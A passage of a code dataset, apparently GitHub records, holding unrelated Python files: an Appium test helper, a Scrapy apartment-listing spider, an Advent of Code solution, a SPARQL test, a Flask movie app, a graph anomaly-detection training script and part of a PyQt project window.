x.find_element_by_android_uiautomator('new UiSelector().resourceId(\"%s\")' % value))\n        elif way == \"desc\":\n            WebDriverWait(self.driver, time).until(\n                lambda x: x.find_element_by_android_uiautomator('new UiSelector().description(\"%s\")' % value))\n        else:\n            print(\"等待方式方式待更新！\")\n\n    # 点击元素\n    def click_element(self, way, value):\n        self.find_element(way, value).click()\n\n    # 长按某个元素（默认长按2秒且释放）\n    def long_press_element(self, way, value, duration=2000, release=\"yes\"):\n        if release == \"yes\":\n            # 长按某个元素2秒然后释放\n            TouchAction(self.driver).long_press(self.find_element(way, value), duration=duration).release().perform()\n        else:\n            # 长按某个元素2秒钟（不释放）\n            TouchAction(self.driver).long_press(self.find_element(way, value), duration=duration).perform()\n\n    # 等待元素出现并点击\n    def wait_and_click_element(self, way, value):\n        self.wait_element(way, value)\n        self.click_element(way, value)\n\n    # 点击某个点 (可以点击多个点，参数加入多个列表,keep_time为点击保持的时间)\n    def click_point(self, x, y, keep_time=100):\n        self.driver.tap([(x, y)], keep_time)\n\n    # 长按某个点（默认长按2秒且释放）\n    def long_press_point(self, x, y, duration=2000, release=\"yes\"):\n        if release == \"yes\":\n            # 长按某个点2秒然后释放\n            TouchAction(self.driver).long_press(x=x, y=y, duration=duration).release().perform()\n        else:\n            # 长按某个点2秒钟（不释放）\n            TouchAction(self.driver).long_press(x=x, y=y, duration=duration).perform()\n\n    # 滑动\n    def swipe_point(self, x1, y1, x2, y2):\n        \"\"\"\n        :param x1:  起始点x轴\n        :param y1:  起始点y轴\n        :param x2:  结束点x轴\n        :param y2:  结束点y轴\n        :param duration: 滑动速度(默认20ms)\n        :return:\n        \"\"\"\n        self.driver.swipe(start_x=x1, start_y=y1, end_x=x2, end_y=y2)\n\n    # 取列表最大值、最小值、平均值（去掉一个最大值，去掉一个最小值）\n    def get_list_avg(self, num_list):\n        # print(f\"最大值：{max(num_list)}\")\n        # print(f\"最小值：{min(num_list)}\")\n        # print(f\"平均值：{(sum(num_list) - (max(num_list) + min(num_list))) / (len(num_list) - 2)}\")\n        # 返回list参数的最大值、最小值、平均值\n        return max(num_list), min(num_list), (sum(num_list) - (max(num_list) + min(num_list))) / (len(num_list) - 2)\n\n    # 格式化时间戳\n    def format_time(self, time):\n        # 通过split函数对总用时进行切割，用来提取秒和毫秒，产生一个列表rt\n        rt = str(time).split(\":\")\n        return (int(rt[1]) * 60) + float(rt[2])\n\n    # 根据包名清掉进程\n    def kill_process_by_packages_name(self, packages_name):\n        os.system(f\"adb shell am force-stop {packages_name}\")\n        print(f\"包名：{packages_name}, 已清除。\")\n\n    # 判断目录是否存在，不存在则创建\n    def write(self, test_type, test_info, dir_path_name):\n        # TestResult 目录下是否存在目录\n        phone_dir = os.path.abspath(os.path.join(os.getcwd(), \"./TestResult/\" + dir_path_name))\n        now_time = time.strftime('%Y-%m-%d', time.localtime(time.time()))\n        file_path = os.path.join(phone_dir, f\"{dir_path_name}\"+\"-\"+test_type+\"-\"+now_time+\"-TestResult.txt\")\n        # print(os.path.abspath(os.path.join(os.getcwd())))\n        # print(d)\n        if not os.path.isdir(phone_dir):\n            os.mkdir(phone_dir)\n        else:\n            pass\n\n        with open(file_path, \"a+\", encoding=\"utf-8\") as f:\n            # f.write(now_time + \":\" + text_info + \"\\n\")\n            f.write(test_info+ \"\\n\")\n\n","repo_name":"Zimo6/DK-PERF-Test-byCSQ","sub_path":"Common/BasePhone.py","file_name":"BasePhone.py","file_ext":"py","file_size_in_byte":6489,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"21955650983","text":"import scrapy\nimport json\nfrom datetime import date, datetime\nimport os\nimport sys\nimport smtplib\nfrom email.message import EmailMessage\n\n\ninit_time_outer = datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")\ntry:\n    class BsrspiderSpider(scrapy.Spider):\n        name = 'bsrSpider'\n\n        init_time = datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")\n\n        EMAIL_USER = os.environ.get('EMAIL_USER')\n        EMAIL_PASS = os.environ.get('EMAIL_PASS')\n\n        reqHeaders = {\n            'Accept': 'application/json, text/javascript, */*; q=0.01',\n            'Accept-Encoding': 'gzip, deflate, br',\n            'Accept-Language': 'en-IN,en-GB;q=0.9,en-US;q=0.8,en;q=0.7,sk;q=0.6',\n            'Connection': 'keep-alive',\n            'Content-Length': '0',\n            'Cookie': '_ga=GA1.2.1849973957.1601865499; _gid=GA1.2.501218214.1601865499; ARRAffinity=1065498437e49ed27544ec9e123507371f88b62e500ea156753f5a95459fa30f',\n            'Host': 'www.bsrreit.com',\n            'Origin': 'https://www.bsrreit.com',\n            'Referer': 'https://www.bsrreit.com/Locations',\n            'Sec-Fetch-Dest': 'empty',\n            'Sec-Fetch-Mode': 'cors',\n            'Sec-Fetch-Site': 'same-origin',\n            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',\n            'X-Requested-With': 'XMLHttpRequest'\n        }\n\n        def sendMail(self, subject, body):\n            msg = EmailMessage()\n            msg['Subject'] = subject\n            msg['From'] = self.EMAIL_USER\n            msg['To'] = 'p.byom26@gmail.com, henrytz369@gmail.com'\n            msg.set_content(body)\n\n            with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:\n                smtp.login(self.EMAIL_USER, self.EMAIL_PASS)    \n                smtp.send_message(msg)\n\n        def start_requests(self):\n            yield scrapy.Request(\n                url='https://www.bsrreit.com/Locations/_DoQuery',\n                headers=self.reqHeaders,\n                method='POST',\n                callback=self.parse\n            )\n\n        def parse(self, response):\n            json_resp = json.loads(response.body)\n            items = json_resp.get('Results')\n            if not bool(items):\n                self.sendMail('SCRAPER ERROR ALERT: bsrreit', f'Hi,\\nbsrreit scraper encountered an error at {datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")}\\nThe scraping job was initiated at {self.init_time}\\nThe error is \"parse function failed. API call returned a blank response\".\\nPlease see more information here: /home/p.byom26/residentialReits/rrScrapers/bsrreit/bsrreit/spiders/bsrSpider.py\\nContact p.byom26@gmail.com for help.\\n\\nSent From\\nGCP Ubuntu VM')\n                os._exit(1)\n            for item in items:            \n                yield scrapy.Request(\n                    url=f'''{item.get('url')}/Marketing/FloorPlans''',\n                    callback=self.houseDetails,\n                    meta={\n                        'title': item.get('title'),\n                        'address': item.get('address'),\n                        'address2': item.get('address2'),\n                        'city': item.get('city'),\n                        'state': item.get('state'),\n                        'postalCode': item.get('postalCode'),\n                        'tel': item.get('tel'),\n                        'rating': item.get('rating'),\n                        'url': item.get('url'),\n                        'lat': item.get('lat'),\n                        'lon': item.get('lon')\n                    }\n                )\n\n        def houseDetails(self, response):\n            items = response.xpath(\"//div[@id='floorplans']/div\")\n            for item in items:\n                type = item.xpath(\"normalize-space(.//h4/text())\").get()\n                if type == '':\n                    self.sendMail('SCRAPER ERROR ALERT: bsrreit', f'Hi,\\nbsrreit scraper encountered an error at {datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")}\\nThe scraping job was initiated at {self.init_time}\\nThe error is \"houseDetails function failed\".\\nPlease see more information here: /home/p.byom26/residentialReits/rrScrapers/bsrreit/bsrreit/spiders/bsrSpider.py\\nContact p.byom26@gmail.com for help.\\n\\nSent From\\nGCP Ubuntu VM')\n                    os._exit(1)\n                yield{\n                    'UniqueKey': f'''{response.request.meta['title']}_{response.request.meta['state']}_{response.request.meta['postalCode']}_{item.xpath(\"normalize-space(.//h4/text())\").get()}''',\n                    'Title': response.request.meta['title'],\n                    'Address': response.request.meta['address'],\n                    'Address2': response.request.meta['address2'],\n                    'City': response.request.meta['city'],\n                    'State': response.request.meta['state'],\n                    'PostalCode': response.request.meta['postalCode'],\n                    'Telephone': response.request.meta['tel'],\n                    'Rating': response.request.meta['rating'],\n                    'Url': response.request.meta['url'],\n                    'Latitude': response.request.meta['lat'],\n                    'Longitude': response.request.meta['lon'],\n                    'Type': type,\n                    'Bed': item.xpath(\"normalize-space(.//ul[@class='list-divider']/li[contains(text(), 'Bed')])\").get(),\n                    'Bath': item.xpath(\"normalize-space(.//ul[@class='list-divider']/li[contains(text(), 'Bath')])\").get(),\n                    'FloorArea': item.xpath(\"normalize-space(.//ul[@class='list-divider']/li[contains(text(), 'sqft')])\").get(),\n                    'Price': item.xpath(\"normalize-space(.//p[@class='pricing']/text())\").get(),\n                    'Availabilty': item.xpath(\"normalize-space(.//p[@class='availability']/text())\").get()\n                }\nexcept Exception:\n    EMAIL_USER = os.environ.get('EMAIL_USER')\n    EMAIL_PASS = os.environ.get('EMAIL_PASS')\n\n    msg = EmailMessage()\n    msg['Subject'] = 'SCRAPER ERROR ALERT: bsrreit'\n    msg['From'] = EMAIL_USER\n    msg['To'] = 'p.byom26@gmail.com, henrytz369@gmail.com'\n    msg.set_content(f'Hi,\\nbsrreit scraper encountered an error at {datetime.now().strftime(\"%d/%m/%Y %H:%M:%S\")}\\nThe scraping job was initiated at {init_time_outer}\\nThe error is \"An Unexcepted Error Occured\".\\nPlease see more information here: /home/p.byom26/residentialReits/rrScrapers/bsrreit/bsrreit/spiders/bsrSpider.py\\nContact p.byom26@gmail.com for help.\\n\\nSent From\\nGCP Ubuntu VM')\n\n    with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp:\n        smtp.login(EMAIL_USER, EMAIL_PASS)    \n        smtp.send_message(msg)\n","repo_name":"SurendraTamang/Web-Scrapping-1","sub_path":"UpWork_Projects/residential-reits/bsrreit/bsrreit/spiders/bsrSpider.py","file_name":"bsrSpider.py","file_ext":"py","file_size_in_byte":6642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43627313087","text":"# 368/516\nfrom sys import stdin\nfrom re import compile\n\npattern = compile('(\\d+)-(\\d+) (\\w): (\\w+)')\n\ndef parse_line(line):\n    least, most, c, pwd = pattern.match(line).groups()\n    return int(least), int(most), c, pwd\n\ndata = list(map(parse_line, stdin.read().strip().split('\\n')))\nprint('A', sum(1 for least, most, c, pwd in data if least <= pwd.count(c) <= most))\nprint('B', sum(1 for least, most, c, pwd in data if (pwd[least-1] == c) ^ (pwd[most-1] == c)))\n","repo_name":"stristr/aoc2020","sub_path":"02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":463,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"18990291823","text":"import unittest\n\nfrom SPARQLWrapper import JSON, SPARQLWrapper\n\nfrom quality_checks.config import config\n\n\nclass ZipCodeTests(unittest.TestCase):\n    \"\"\"\n    Unit tests for the US Zipcodes dataset. These tests require\n    1. Zipcode data\n    \"\"\"\n\n    def test_non_zero(self):\n        \"\"\"\n        Tests that the graph has a bulk of zipcode nodes. New zipcodes are added each\n         year, so rather than test exact numbers, test that there are at least 40k\n\n        :return: None\n        \"\"\"\n        # Query that counts the number of ZipCodeAreas\n        query = \"\"\"\n        PREFIX kwg-ont: <http://stko-kwg.geog.ucsb.edu/lod/ontology/>\n\n            SELECT (count(?zip_area) as ?count) WHERE {\n              ?zip_area a kwg-ont:ZipCodeArea .\n        }\n        \"\"\"\n\n        sparql = SPARQLWrapper(config.endpoint)\n        sparql.setReturnFormat(JSON)\n        sparql.setQuery(query)\n        res = sparql.query().convert()\n        # There are at least 40k zipcodes\n        self.assertGreater(int(res[\"results\"][\"bindings\"][0][\"count\"][\"value\"]), 1)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n","repo_name":"KnowWhereGraph/kwg-quality-checks","sub_path":"tests/test_zipcodes.py","file_name":"test_zipcodes.py","file_ext":"py","file_size_in_byte":1095,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11424914391","text":"import csv\nfrom flask import Flask, render_template\nfrom flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy.exc import IntegrityError\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///movies.db'\ndb = SQLAlchemy(app)\n\nclass Actor(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    name = db.Column(db.String(80), unique=True, nullable=False)\n\n    def __repr__(self):\n        return '<Actor %r>' % self.name\n\nclass Movie(db.Model):\n    id = db.Column(db.Integer, primary_key=True)\n    title = db.Column(db.String(120), unique=True, nullable=False)\n    year = db.Column(db.Integer, nullable=False)\n    actors = db.relationship('Actor', secondary='movie_actor', backref=db.backref('movies', lazy='dynamic'))\n\n    def __repr__(self):\n        return '<Movie %r>' % self.title\n\nclass MovieActor(db.Model):\n    movie_id = db.Column(db.Integer, db.ForeignKey('movie.id'), primary_key=True)\n    actor_id = db.Column(db.Integer, db.ForeignKey('actor.id'), primary_key=True)\n\n    def __repr__(self):\n        return '<MovieActor %r-%r>' % (self.movie_id, self.actor_id)\n\n\n\ndef load_data():\n    with open('movies.csv', 'r', encoding='utf-8') as file:\n        reader = csv.reader(file)\n        next(reader) # skip the header row\n        count = 0\n        for row in reader:\n            # Create an Actor object for each actor in the row\n            actors = []\n            for actor_name in row[2].split(','):\n                try:\n                    actor = Actor(name=actor_name.strip())\n                    db.session.add(actor)\n                    actors.append(actor)\n                except IntegrityError:\n                    db.session.rollback()\n                    continue\n\n            # Create a Movie object for the row, linking it to the actors\n            movie = Movie(title=row[0], year=row[1])\n            movie.actors = actors\n            db.session.add(movie)\n            try:\n                db.session.commit()\n                count += 1\n            except IntegrityError:\n                db.session.rollback()\n        print(f\"{count} records were added to the database\")\n\n\n\n@app.route('/')\ndef index():\n    movies = Movie.query.all()\n    return render_template('index.html', movies=movies)\n\n@app.route('/actors')\ndef actors():\n    actors = Actor.query.all()\n    return render_template('actors.html', actors=actors)\n\n@app.route('/movie/<int:movie_id>')\ndef movie_detail(movie_id):\n    movie = Movie.query.get(movie_id)\n    return render_template('movie.html', movie=movie)\n\n@app.errorhandler(404)\ndef not_found(error):\n    return render_template('404.html'), 404\n\nif __name__ == '__main__':\n    with app.app_context():\n        db.create_all()\n        load_data()\n    app.run(debug=True)\n\n\n","repo_name":"kofikoi/data-driven-web-app","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72525950089","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 29 17:05:59 2020\n\n@author: suyuhao\n\"\"\"\n\n# from __future__ import division\n# from __future__ import print_function\n\nimport argparse\nimport time\nimport torch\nimport pandas as pd\nimport numpy as np\nimport shutil\nimport os\n\nfrom torch import optim\nfrom backup.model import GCNModelVAE  # GCNModelScatRSRAE\nfrom backup.utils import  preprocess_graph, make_ad_dataset, pred_anomaly, precision\nfrom sklearn.metrics import roc_auc_score,f1_score #, average_precision_score\nfrom backup.optimizer import ae_loss_function #, scat_rsrae_loss_function\n\n#import matplotlib.pyplot as plt\n\nparser = argparse.ArgumentParser()\n#parser.add_argument('--model', type=str, default='gcn_vae', help=\"models used\")\n#parser.add_argument('--seed', type=int, default=100, help='Random seed.')\nparser.add_argument('--epochs', type=int, default=1000, help='Number of epochs to train.')\nparser.add_argument('--hidden1', type=float, default=0.5, help='Number of units in hidden layer 1.')\nparser.add_argument('--hidden2', type=float, default=0.5, help='Number of units in hidden layer 2.')\nparser.add_argument('--lr', type=float, default=0.004, help='Initial learning rate.')\nparser.add_argument('--dropout', type=float, default=0., help='Dropout rate (1 - keep probability).')\n#parser.add_argument('--rsr_dim', type=int, default=100, help='dim of rsr layer')\nparser.add_argument('--clique_size', type=int, default=20, help='create anomaly')\nparser.add_argument('--num_clique', type=int, default=15, help='create anomaly')\nparser.add_argument('--k', type=int, default=10, help='compare for feature anomaly')\n#parser.add_argument('--rsr_enable', type=int, default=1, help='whether use rsr, 0 is true ,1 is false')\nparser.add_argument('--dataset', type=str, default='cora', help='type of dataset.')\n#parser.add_argument('--scat_version', type=int, default=0, help='0 for scat, 1 for diffusion')\n#parser.add_argument('--dim_reduce', type=int, default=1, help='0 for pca, 1 for fms, 2 for no dim reduction')    \nparser.add_argument('--alpha', type=float, default=1, help='weight parameter for feature error')  \nparser.add_argument('--beta', type=float, default=1, help='weight parameter for structure error')  \n#parser.add_argument('--gamma', type=float, default=1, help='weight parameter for projection error') \n#parser.add_argument('--delta', type=float, default=1, help='weight parameter for pca error')\nparser.add_argument('--cuda', action='store_true', help='enables cuda')\n\n\nargs = parser.parse_args()\n\nargs.device = None\nif not args.cuda and torch.cuda.is_available():\n    args.device = torch.device('cuda')\nelse:\n    args.device = torch.device('cpu')\n   \n\ndef gae_ad(args):\n    #initialize\n    print()\n    print(\"Initializing\")\n    print(args)\n    seed = np.random.randint(1000)\n    torch.manual_seed(seed)\n    print(\"random seed:\",seed)\n    loss_plot = []\n    auc_plot = []\n    f1_plot = []\n    accuracy_plot = []\n    feature_reconstruction_loss_plot = []\n    structure_reconstruction_loss_plot = []\n    \n    #obtain basic info\n    adj, features, gnd = make_ad_dataset(args.dataset, args.clique_size, args.num_clique, args.k)\n    features = torch.FloatTensor(features).to(args.device)\n    gnd = torch.Tensor(gnd).to(args.device)\n    feat_dim = features.shape[1]\n    hidden1 = int(feat_dim * args.hidden1)\n    hidden2 = int(feat_dim * args.hidden2)\n    \n    # Data preprocessing\n    indices, values, shape = preprocess_graph(adj)\n    adj_norm = torch.sparse.FloatTensor(indices, values, shape).to(args.device)\n    print(\"feature_dim:\",feat_dim, \"hidden1_dim:\",hidden1, \"hidden2_dim:\",hidden2,\"nodes_num:\",adj_norm.shape[0], \"anomaly_num:\", 2*args.clique_size*args.num_clique)\n    print()      \n    print(\"Start modeling\")\n    \n    #Start training\n    model = GCNModelVAE(feat_dim, hidden1, hidden2, args.dropout).to(args.device)\n    optimizer = optim.Adam(model.parameters(), lr=args.lr)\n    if torch.cuda.is_available() is True: \n        #If using cuda, then need to transfer data from GPU to CPU to save the results.\n        for epoch in range(args.epochs):\n            t = time.time()\n            model.train()\n            optimizer.zero_grad()\n            feature_decoder_layer_2, structure_decoder_layer_2 = model(features, adj_norm)\n            error, total_loss, feature_reconstruction_loss, structure_reconstruction_loss = ae_loss_function(feature_decoder_layer_2,\n                                                                                                             structure_decoder_layer_2, \n                                                                                                             features, adj_norm, args.alpha,\n                                                                                                             args.beta)\n            total_loss.backward()\n            cur_loss = total_loss.item()\n            feature_reconstruction_loss = feature_reconstruction_loss.item()\n            structure_reconstruction_loss = structure_reconstruction_loss.item()\n            optimizer.step()\n            if epoch % 10 == 0:\n                print(\"Epoch:\", '%04d' % (epoch + 1), \"train_loss=\", \"{:.5f}\".format(cur_loss),\n                      \"time=\", \"{:.5f}\".format(time.time() - t))\n                \n            loss_plot.append(cur_loss)\n            feature_reconstruction_loss_plot.append(feature_reconstruction_loss)\n            structure_reconstruction_loss_plot.append(structure_reconstruction_loss)\n\n            auc = roc_auc_score(gnd.cpu().detach().numpy(), error.cpu().detach().numpy())\n            pred_gnd = pred_anomaly(error.cpu().detach().numpy(), args.clique_size, args.num_clique)\n            accuracy = precision(pred_gnd, gnd.cpu().detach().numpy())\n            f1 = f1_score(gnd.cpu().detach().numpy(), pred_gnd)\n            accuracy_plot.append(accuracy)\n            auc_plot.append(auc)\n            f1_plot.append(f1)\n    else: \n        #CPU case\n        for epoch in range(args.epochs):\n            t = time.time()\n            model.train()\n            optimizer.zero_grad()\n            feature_decoder_layer_2, structure_decoder_layer_2 = model(features, adj_norm)\n            error, total_loss, feature_reconstruction_loss, structure_reconstruction_loss = ae_loss_function(feature_decoder_layer_2,\n                                                                                                             structure_decoder_layer_2, \n                                                                                                             features, adj_norm, args.alpha,\n                                                                                                             args.beta)\n            total_loss.backward()\n            cur_loss = total_loss.item()\n            feature_reconstruction_loss = feature_reconstruction_loss.item()\n            structure_reconstruction_loss = structure_reconstruction_loss.item()\n            optimizer.step()\n            if epoch % 10 == 0:\n                print(\"Epoch:\", '%04d' % (epoch + 1), \"train_loss=\", \"{:.5f}\".format(cur_loss),\n                      \"time=\", \"{:.5f}\".format(time.time() - t))\n                \n            loss_plot.append(cur_loss)\n            feature_reconstruction_loss_plot.append(feature_reconstruction_loss)\n            structure_reconstruction_loss_plot.append(structure_reconstruction_loss)\n            \n            auc = roc_auc_score(gnd.detach().numpy(), error.detach().numpy())\n            pred_gnd = pred_anomaly(error.detach().numpy(), args.clique_size, args.num_clique)\n            accuracy = precision(pred_gnd, gnd.detach().numpy())\n            f1 = f1_score(gnd.detach().numpy(), pred_gnd)\n            \n            accuracy_plot.append(accuracy)\n            auc_plot.append(auc)\n            f1_plot.append(f1)\n    \n    # save the results\n    result = {'total_loss': loss_plot, \n              'feature_reconstruction_loss': feature_reconstruction_loss,\n              'structure_reconstruction_loss': structure_reconstruction_loss,\n              'accuracy': accuracy_plot,\n              'auc score': auc_plot,\n              'f1 score': f1_plot}\n    result_df = pd.DataFrame(data=result)\n    result_df.shape\n    result_df.csv_path = 'normal_dataset_'+'{}'.format(args.dataset)+'_hidden2_'+'{}'.format(args.hidden2)+'_anomaly_{}'.format(2*args.clique_size*args.num_clique)+'.csv'\n    result_df.to_csv(result_df.csv_path)\n    if not os.path.exists(\"/Users/suyuhao/Documents/AD/gae_pytorch/output/{}\".format(args.dataset)):\n        os.makedirs('{}'.format(args.dataset))\n    shutil.move('normal_dataset_'+'{}'.format(args.dataset)+'_hidden2_'+'{}'.format(args.hidden2)+'_anomaly_{}'.format(2*args.clique_size*args.num_clique)+'.csv',\"/Users/suyuhao/Documents/AD/gae_pytorch/output/{}\".format(args.dataset))\n    \n    print()\n    print(\"accuracy\", \"{:.5f}\".format(accuracy))\n    print(\"auc\", \"{:.5f}\".format(auc))\n    print(\"f1_score\", \"{:.5f}\".format(f1))    \n    print(\"Job finished!\")\n    \n  \nif __name__ == '__main__':\n    gae_ad(args)\n","repo_name":"YuhaoSu/GraphAnomalyDetection","sub_path":"backup/normal_train.py","file_name":"normal_train.py","file_ext":"py","file_size_in_byte":9033,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"218920466","text":"# coding: utf-8\n# @author: Antoine FRIGOUT - <antoine.frigout@eleves.ec-nantes.fr>\n# @author: Mailys LE LOCH - <mailys.le-loch@eleves.ec-nantes.fr>\n# @version: 0.1\n\nimport sys\nimport os\nfrom PyQt5 import QtCore, QtWidgets, QtGui\nimport json\nimport matplotlib.pyplot as plt\n\nfrom script import NavigationProjet\nfrom script import Projet\nfrom script import OngletProjetMateriaux\nfrom script import OngletProjetPlaque\nfrom script import OngletProjetChargement\nfrom script import PopupRenommageProjet\nfrom script import BandeauProjet\nfrom script import ProjetEncoder\nfrom script import PopupProjetNonSauvegarde\nfrom script import OngletProjetVisualisation\n\n\nclass FenetreProjet(QtWidgets.QWidget):\n    \"\"\"\n    Méthode représentant une fenêtre pour la gestion d'un projet.\n    \"\"\"\n    projet = None\n    bdd_recherche_index = None\n    __is_saved = False\n    __fichier_save = None\n\n    def __init__(self,\n                 parent=None,\n                 app=None) -> None:\n        \"\"\"\n        Constructeur de la classe fenêtre projet.\n        Par défautnun nouveau projet sera créé.\n        Dans le cadre de l'import d'un projet, le projet associé à la fenêtre sera un clone du projet obtenu depuis le fichier de sauvegarde.\n        :param parent: Un objet Qt qui recevra le Widget FenetreProjet.\n        \"\"\"\n        super(FenetreProjet, self).__init__()\n        self.__parent = parent\n        self.__app = app\n        self.projet = Projet.Projet(\"PROJET\")\n        self.initUI()\n        self.retranslateUi()\n        self.initActions()\n\n    def getCheminFichierSauvegarde(self) -> str:\n        \"\"\"\n        Getter permettant d'obtenir le chemin vers le fichier de sauvegarde.\n\n        :return: Le chemin vers le fichier de sauvegarde.\n        \"\"\"\n        return self.__fichier_save\n\n    def initUI(self) -> None:\n        \"\"\"\n        Méthode permettant d'initialiser le contenu de la fenêtre projet.\n        \"\"\"\n        # Navigation latérale\n        self.navigation = NavigationProjet.NavigationProjet(self)\n        self.navigation.setObjectName(\"navigation\")\n\n        # Bandeau supérieur\n        self.bandeau = BandeauProjet.BandeauProjet(self)\n\n        # Contenu de la page\n        self.pile_onglets = QtWidgets.QStackedWidget(self)\n        self.pile_onglets.setGeometry(QtCore.QRect(200, 40, 881, 421))\n        self.pile_onglets.setObjectName(\"pile_onglets\")\n\n        self.widget_materiaux = OngletProjetMateriaux.OngletProjetMateriaux(self)\n        self.widget_plaque = OngletProjetPlaque.OngletProjetPlaque(self)\n        self.widget_chargement = OngletProjetChargement.OngletprojetChargement(self)\n        self.widget_visualisation = OngletProjetVisualisation.OngletProjetVisualisation(self)\n\n        # Ajout des pages à la pile\n        self.pile_onglets.addWidget(self.widget_materiaux)\n        self.pile_onglets.addWidget(self.widget_plaque)\n        self.pile_onglets.addWidget(self.widget_chargement)\n        self.pile_onglets.addWidget(self.widget_visualisation)\n\n    def retranslateUi(self) -> None:\n        \"\"\"\n        Méthode permettant d'initialiser le contenu de la fenêtre projet (position dans la pile d'onglet, contenu textuel...)\n        \"\"\"\n        _translate = QtCore.QCoreApplication.translate\n        self.pile_onglets.setCurrentIndex(0)\n        self.navigation.bouton_materiaux.setStyleSheet(\"background-color: rgb(221, 237, 242);border:none;\")\n\n    def maj_provenance(self,\n                       chemin: str) -> None:\n        \"\"\"\n        Méthode pour mettre à jour le chemin vers le fichier de sauvegarde du projet.\n        Cette méthode est utilisée lors d'un import de projet.\n\n        :param chemin: Le chemin vers le fichier de sauvegarde utilisé pour restaurer le projet.\n        \"\"\"\n        self.__fichier_save = chemin\n        self.__is_saved = True\n\n    def aller_materiaux(self) -> None:\n        \"\"\"\n        Méthode permettant d'aller dans l'onglet gestion des matériaux du projet.\n        Cette méthode est associée à l'onglet \"Gestion Matériaux\" de la navigation\n        \"\"\"\n        self.pile_onglets.setCurrentIndex(0)\n        self.navigation.bouton_materiaux.setStyleSheet(\"background-color: rgb(221, 237, 242);border:none;\")\n        self.navigation.bouton_plaque.setStyleSheet(\"background-color: rgb(255, 255, 255);border:none;\")\n        self.navigation.bouton_chargement.setStyleSheet(\"background-color: rgb(255, 255, 255);border:none;\")\n        self.navigation.bouton_visualisation.setStyleSheet(\"background-color: rgb(255, 255, 255);border:none;\")\n\n    def aller_plaque(self):\n        \"\"\"\n        Méthode permettant d'aller dans l'onglet gestion de la plaque du projet.\n        Cette méthode est associée à l'onglet \"Paramètrage Plaque\" de la navigation\n        \"\"\"\n        self.pile_onglets.setCurrentIndex(1)\n        self.widget_plaque.comboBox_Materiaux_Plaque()\n        self.navigation.bouton_materiaux.setStyleSheet(\"background-color: rgb(255, 255, 255);border:none;\")\n        self.navigation.bouton_chargement.setStyleSheet(\"background-color: rgb(255, 255, 255);border:none;\")\n        self.navigation.bouton_plaque.setStyleSheet(\"background-color: rgb(221, 237, 242);border:none;\")\n        self.navigation.bouton_visualisation.setStyleSheet(\"background-color: rgb(255, 255, 255);border:none;\")\n\n    def aller_chargement(self):\n        \"\"\"\n        Méthode permettant d'aller dans l'onglet gestion des chargements du projet.\n        Cette méthode est associée à l'onglet \"Chargement\" de la navigation\n        \"\"\"\n        self.pile_onglets.setCurrentIndex(2)\n        self.navigation.bouton_materiaux.setStyleSheet(\"background-color: rgb(255, 255, 255);border:none;\")\n        self.navigation.bouton_plaque.setStyleSheet(\"background-color: rgb(255, 255, 255);border:none;\")\n        self.navigation.bouton_chargement.setStyleSheet(\"background-color: rgb(221, 237, 242);border:none;\")\n        self.navigation.bouton_visualisation.setStyleSheet(\"background-color: rgb(255, 255, 255);border:none;\")\n\n    def aller_visualisation(self):\n        \"\"\"\n        Méthode permettant d'aller dans l'onglet visualisation du projet.\n        Cette méthode est associée à l'onglet \"Visualisation\" de la navigation\"\n        \"\"\"\n        self.pile_onglets.setCurrentIndex(3)\n        self.navigation.bouton_materiaux.setStyleSheet(\"background-color: rgb(255, 255, 255);border:none;\")\n        self.navigation.bouton_plaque.setStyleSheet(\"background-color: rgb(255, 255, 255);border:none;\")\n        self.navigation.bouton_chargement.setStyleSheet(\"background-color: rgb(255, 255, 255);border:none;\")\n        self.navigation.bouton_visualisation.setStyleSheet(\"background-color: rgb(221, 237, 242);border:none;\")\n\n    def change_nom_projet(self) -> None:\n        \"\"\"\n        Méthode permettant de changer le nom d'un projet.\n        Cette méthode va ouvrir un popup pour effectuer cette action.\n        \"\"\"\n        self.popup_change_nom_projet = PopupRenommageProjet.PopupRenommageProjet(self)\n        self.popup_change_nom_projet.setGeometry(QtCore.QRect(10, 45, 300, 100))\n        self.popup_change_nom_projet.setObjectName(\"popup_change_nom_projet\")\n        self.popup_change_nom_projet.show()\n\n    def save(self) -> bool:\n        \"\"\"\n        Méthode pour sauvegarder le contenu d'un projet dans un fichier au format JSON.\n        \"\"\"\n        if self.__is_saved:\n            self.quick_popup(\"Pas de modifications à enregistrer!\", type=\"Info\", duree=3)\n            return True\n        else:\n            if self.__fichier_save is None or not os.path.isfile(self.__fichier_save):\n                self.save_as()\n            else:\n                projet_json = json.dumps(self.projet, cls=ProjetEncoder.ProjetEncoder, indent=4)\n                fichier = open(self.__fichier_save, \"w\")\n                fichier.write(projet_json)\n                fichier.close()\n                self.quick_popup(\"Projet enregistré!\", type=\"Succes\", duree=3)\n                self.__is_saved = True\n                return True\n\n    def save_as(self) -> bool:\n        \"\"\"\n        Méthode pour sauvegarder le contenu d'un projet dans un fichier au format JSON, en précisant le chemin du fichier.\n\n        :param chemin: Le chemin du fichier au sauvegarder le projet.\n        \"\"\"\n        if self.__is_saved:\n            self.quick_popup(\"Pas de modification à enregistrer!\", type=\"Info\", duree=3)\n            return 